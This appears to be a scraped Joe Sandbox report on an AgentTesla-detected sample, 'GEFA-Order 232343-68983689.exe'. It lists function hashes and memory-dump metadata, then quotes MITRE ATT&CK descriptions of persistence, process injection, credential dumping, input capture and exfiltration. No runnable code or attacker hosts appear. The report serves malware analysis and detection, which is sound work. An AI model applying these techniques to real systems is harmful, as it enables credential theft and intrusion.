Opcode ID: c27af67467aaea27d82caa1a7f29de5d4ca16aeef6579455a434adcc4a9d1a00
Instruction ID: 629655cf5078c89bd420cd4125457754f030cf590f883ae014fda2e2d78a163a
Opcode Fuzzy Hash: c27af67467aaea27d82caa1a7f29de5d4ca16aeef6579455a434adcc4a9d1a00
Instruction Fuzzy Hash: 36E09A70A00359CFE794EF54E8A8B99BBB2EB89305F1080DA950AB7384DB305D85CF60

Function 063372BE Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f640285db3d9625cd5e4ebbe432fede4d1934af3027fb69a9bd61c858fab6c0b
Instruction ID: 04732c7c38b0b519be213591e0e2e32c15edf8198dd5f1ca9ca2058806f7e3d3
Opcode Fuzzy Hash: f640285db3d9625cd5e4ebbe432fede4d1934af3027fb69a9bd61c858fab6c0b
Instruction Fuzzy Hash: E0E0EE34A04218CFDB24EF20DA9579DBBB2EB86300F0040EAD60AB3254CB305F808F96

Function 06337314 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b68d8fe7ef55dd2590e46db9821a56ed76064a46c3db60759dcc7d91058a017
Instruction ID: e23a5cf29824cd11fe0957f660783d2e293156e5dcb0cf94887e47c05b5c01ba
Opcode Fuzzy Hash: 1b68d8fe7ef55dd2590e46db9821a56ed76064a46c3db60759dcc7d91058a017
Instruction Fuzzy Hash: D6E01A70A01218CFEB10EF20D9A9B99BBB2FB89301F0041DAD60AA3394CB305D858F54

Function 063373DF Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 639db1408482e385ed96113b86aec2f3eeb40bbfe3adb7bea27356f1e9046ed8
Instruction ID: f5977199a832123aeff89953bb9c064f637677e0e1f7b225a632a726290aebf9
Opcode Fuzzy Hash: 639db1408482e385ed96113b86aec2f3eeb40bbfe3adb7bea27356f1e9046ed8
Instruction Fuzzy Hash: 05E07570E04254CFDB94EF14D95579EBBB2EB85310F1000D9D50A67354CB345E848F52

Function 0633ABF0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46ef125f15f921f0527c9563aca1e8c4c4cced70be7a9e084a48796a7e4c2ca
Instruction ID: 595101402e925700d83ad81324f762c63e2686994c12aaf250ce2e9185d5aec7
Opcode Fuzzy Hash: a46ef125f15f921f0527c9563aca1e8c4c4cced70be7a9e084a48796a7e4c2ca
Instruction Fuzzy Hash: C1C0123804E3C02EDB3206723C02BA93F395B83B20F2801CFE1C0C90C3C48615898332

Function 063310CF Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4353ef5981845ecee0e95f7181e53a3427f42cc96b9c2183efd1d9c006be66f
Instruction ID: 7cac68d855279e7627e4532cbda99013201aabb26a34198e1812065fc1560e1a
Opcode Fuzzy Hash: b4353ef5981845ecee0e95f7181e53a3427f42cc96b9c2183efd1d9c006be66f
Instruction Fuzzy Hash: B3E0EC70C45369CFDBA4CF24DC487AAB7B5BB0034AF006695800D63564CB741EC4CF85

Function 06331E6E Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0721a1cc30b59835c54508cae6d61cafd1008c96afb7e552f324a97bf8252b9
Instruction ID: 3676a50f0f4566744cda1250da5577b6d2358e0d6deb21ee2cd9bf804f21b779
Opcode Fuzzy Hash: b0721a1cc30b59835c54508cae6d61cafd1008c96afb7e552f324a97bf8252b9
Instruction Fuzzy Hash: 2ED017B0E143388FDB54EF34D90466A77BAAB84305F005695840EA7649C7388A858F84

Function 063302F5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64580fb24e2bcf549565d11e6b8076a7f771dc84ff918df0b1ce79156f73bd05
Instruction ID: 3676a50f0f4566744cda1250da5577b6d2358e0d6deb21ee2cd9bf804f21b779
Opcode Fuzzy Hash: 64580fb24e2bcf549565d11e6b8076a7f771dc84ff918df0b1ce79156f73bd05
Instruction Fuzzy Hash: 2ED017B0E143388FDB54EF34D90466A77BAAB84305F005695840EA7649C7388A858F84

Function 0660CE78 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1908231985.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_65f0000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d9f0920e81feb6216f59875da569c59d1697b0b69ebe154538ae4f0b305a08
Instruction ID: 46a2e07359f8be6be6a31319a69beb043962650c599725f6013a033257125bed
Opcode Fuzzy Hash: 15d9f0920e81feb6216f59875da569c59d1697b0b69ebe154538ae4f0b305a08
Instruction Fuzzy Hash: E0C02B3048E304CAE24816B4E01E77277ACC30F301F401920520C020918BF114B4CAF1

Function 06336ED6 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907841593.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6330000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f142b9847cd28b60d1b39beeec0baa5655f89f018ae59255fa38ec3a68f96f7e
Instruction ID: cce5bb054665c33ca1691ce76037b0ce4ebd3a5b1eb51883e9782da0ed405150
Opcode Fuzzy Hash: f142b9847cd28b60d1b39beeec0baa5655f89f018ae59255fa38ec3a68f96f7e
Instruction Fuzzy Hash: 41C08C30708300CBF340AF50D05A21A7A32D782304F00501A520233688CA7448448B85

Function 0660FA50 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1908231985.00000000065F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_65f0000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 06193E20 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1907378417.0000000006190000.00000040.00000800.00020000.00000000.sdmp, Offset: 06190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6190000_Cbgoomiexw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf28d5ca540260e6995bcb75e695b439951518ec32f5b75e09b3624c9d8462e
Instruction ID: f1abdb6fba0db958948750265b8e8ba939da8f501da60297d4ee94bdaf3782ae
Opcode Fuzzy Hash: aaf28d5ca540260e6995bcb75e695b439951518ec32f5b75e09b3624c9d8462e
Instruction Fuzzy Hash: D3B09232040208AB8A059A84E904855BF69AB986107008125B6090A5118B33A822EA94

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GEFA-Order 232343-68983689.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Cbgoomiexw.exe

C:\Users\user\AppData\Roaming\Cbgoomiexw.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
GEFA-Order 232343-68983689.exe

Function 06D7F370 Relevance: 3.0, Strings: 2, Instructions: 543
COMMON

Function 06D7F360 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Function 0192CA32 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Function 0192CA40 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre